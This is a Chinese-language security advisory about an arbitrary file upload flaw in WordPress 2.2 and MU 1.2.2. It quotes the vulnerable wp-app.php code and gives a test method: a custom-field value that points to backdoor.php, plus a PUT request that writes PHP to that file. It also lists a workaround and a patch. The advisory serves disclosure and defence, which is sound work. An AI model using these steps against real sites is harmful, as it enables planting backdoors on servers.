安全研究

安全漏洞
WordPress自定义字段任意文件上传漏洞

发布日期:2007-06-26
更新日期:2007-06-27

受影响系统:
WordPress WordPress 2.2
WordPress WordPress MU <= 1.2.2
不受影响系统:
WordPress WordPress 2.2.1
WordPress WordPress MU 1.2.3
描述:
BUGTRAQ  ID: 24642

WordPress是一款免费的论坛Blog系统。

WordPress处理用户提交的数据时存在漏洞,远程攻击者可能利用此漏洞非授权操作文件。

WordPress允许上传有限的文件附件组,其中名称、标题等以post_type=attachment存储到了wp_posts表中,而路径和其他文件属性以名为_wp_attached_file和_wp_attachment_metadata的特殊字段被存储到了wp_postmeta表中。

WordPress还允许在正常的张贴或页面中添加自定义字段,该自定义字段也被存储到了wp_postmeta表中,但没有检查正常的张贴中是否添加了附件的这个特殊的meta-data字段。

wp-app.php中的以下函数允许上传任意文件:

function put_file($postID) {

  $type = $this->get_accepted_content_type();

  // first check if user can upload
  if(!current_user_can('upload_files'))
    $this->auth_required(__('You do not have permission to upload files.'));

  // check for not found
  global $entry;
  $this->set_current_entry($postID);

  // then whether user can edit the specific post
  if(!current_user_can('edit_post', $postID)) {
    $this->auth_required(__('Sorry, you do not have the right to edit this post.'));
  }

  $location = get_post_meta($entry['ID'], '_wp_attached_file', true);

  if(!isset($location))
    $this->internal_error(__('Error ocurred while accessing post metadata for file location.'));

  $fp = fopen("php://input", "rb");
  $localfp = fopen($location, "w+");
  while(!feof($fp)) {
    fwrite($localfp,fread($fp, 4096));
  }
  fclose($fp);
  fclose($localfp);

  log_app('function',"put_file($postID)");
  $this->ok();
}

这个函数主要用于加载第一个附件的路径,并写入张贴到wp-app.php的内容,因此如果攻击者能够用合适的文件名覆盖第一个元数据附件的值,就会向该文件写入所有的内容。

<*来源:Alexander Concha (alex@buayacorp.com
  
  链接:http://secunia.com/advisories/25794/
        http://www.buayacorp.com/files/wordpress/wordpress-advisory.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

创建一个帖子并将以下值添加或覆盖到自定义字段:

key     : _wp_attached_file
value     : /home/vulnerable.com/wp/wp-content/uploads/backdoor.php

向wp-app.php发送PUT请求,传送上一步的post_ID值:

PUT /wp/wp-app.php?action=/attachment/file/post_ID HTTP/1.1
Cookie: auth cookies
Content-Type: image/gif
Host: vulnerable.com
Content-Length: the content length

<?php echo "Hello World"; ?>

建议:
临时解决方法:

* 禁止访问wp-app.php或app.php。

厂商补丁:

WordPress
---------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://trac.mu.wordpress.org/changeset/1005

浏览次数:3792
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障